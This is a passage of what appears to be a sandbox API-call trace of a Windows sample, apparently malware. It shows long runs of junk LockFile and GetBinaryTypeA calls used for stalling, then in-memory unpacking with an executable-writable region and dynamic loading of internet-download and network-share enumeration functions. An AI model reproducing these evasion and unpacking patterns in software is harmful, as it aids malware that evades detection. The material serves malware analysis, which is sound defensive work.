(hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.567] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.567] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.567] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.567] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.567] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.567] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.567] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.567] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.567] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.567] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.567] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.567] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.568] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.568] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.569] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.569] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.570] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.570] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.571] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.571] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.572] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.572] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.573] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.573] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.574] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.574] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0099.337] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x54 [0099.340] Module32First (hSnapshot=0x54, lpme=0x18fc2c) returned 1 [0099.342] CloseHandle (hObject=0x54) returned 1 [0099.342] GetProcAddress (hModule=0x77080000, lpProcName="LoadLibraryA") returned 0x770949d7 [0099.342] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77080000 [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="VirtualAlloc") returned 0x77091856 [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="VirtualProtect") returned 0x7709435f [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="VirtualFree") returned 0x7709186e [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="GetVersionExA") returned 0x77093519 [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="TerminateProcess") returned 0x770ad802 [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="ExitProcess") returned 0x77097a10 [0099.343] GetProcAddress (hModule=0x77080000, lpProcName="SetErrorMode") returned 0x77091b00 [0099.343] SetErrorMode (uMode=0x400) returned 0x0 [0099.343] SetErrorMode (uMode=0x0) returned 0x400 [0099.343] GetVersionExA (in: lpVersionInformation=0x18edb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x11239, dwPlatformId=0xffffffff, szCSDVersion="s}tw") | out: lpVersionInformation=0x18edb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0099.343] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x2c0000 [0099.351] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fe38 | out: lpflOldProtect=0x18fe38*=0x2) returned 1 [0099.833] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.835] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76e70000 [0099.835] GetProcAddress (hModule=0x76e70000, lpProcName="RpcStringFreeW") returned 0x76e91635 [0099.835] GetProcAddress (hModule=0x76e70000, lpProcName="UuidToStringW") returned 0x76eb1ee5 [0099.835] GetProcAddress (hModule=0x76e70000, lpProcName="UuidToStringA") returned 0x76eed918 [0099.835] GetProcAddress (hModule=0x76e70000, lpProcName="RpcStringFreeA") returned 0x76eb3fc5 [0099.835] GetProcAddress (hModule=0x76e70000, lpProcName="UuidCreate") returned 0x76e8f48b [0099.835] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74f30000 [0099.846] GetProcAddress (hModule=0x74f30000, lpProcName="WNetCloseEnum") returned 0x74f32dd6 [0099.846] GetProcAddress (hModule=0x74f30000, lpProcName="WNetOpenEnumW") returned 0x74f32f06 [0099.847] GetProcAddress (hModule=0x74f30000, lpProcName="WNetEnumResourceW") returned 0x74f33058 [0099.847] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75710000 [0100.031] GetProcAddress (hModule=0x75710000, lpProcName="InternetCloseHandle") returned 0x7572ab49 [0100.032] GetProcAddress (hModule=0x75710000, lpProcName="InternetOpenUrlW") returned 0x7578be5c [0100.032] GetProcAddress (hModule=0x75710000, lpProcName="InternetReadFile") returned 0x7572b406 [0100.032] GetProcAddress (hModule=0x75710000, lpProcName="InternetOpenUrlA") returned 0x757530f1 [0100.032] GetProcAddress (hModule=0x75710000, lpProcName="HttpQueryInfoW") returned 0x75735c75 [0100.032] GetProcAddress (hModule=0x75710000, lpProcName="InternetOpenA") returned 0x7573f18e [0100.032] GetProcAddress (hModule=0x75710000, lpProcName="InternetOpenW") returned 0x75739197 [0100.032] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74e00000 [0100.045] GetProcAddress (hModule=0x74e00000, lpProcName="timeGetTime") returned 0x74e026e0 [0100.045] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x77290000 [0100.046] GetProcAddress (hModule=0x77290000, lpProcName="PathFindExtensionW") returned 0x772aa1b9 [0100.046] GetProcAddress (hModule=0x77290000, lpProcName="PathFindFileNameW") returned 0x772abb71 [0100.046] GetProcAddress (hModule=0x77290000, lpProcName="PathRemoveFileSpecW") returned 0x772a3248 [0100.046] GetProcAddress (hModule=0x77290000, lpProcName="PathFileExistsW") returned 0x772a45bf [0100.046] GetProcAddress (hModule=0x77290000, lpProcName="PathAppendW") returned 0x772a81ef [0100.046] GetProcAddress (hModule=0x77290000, 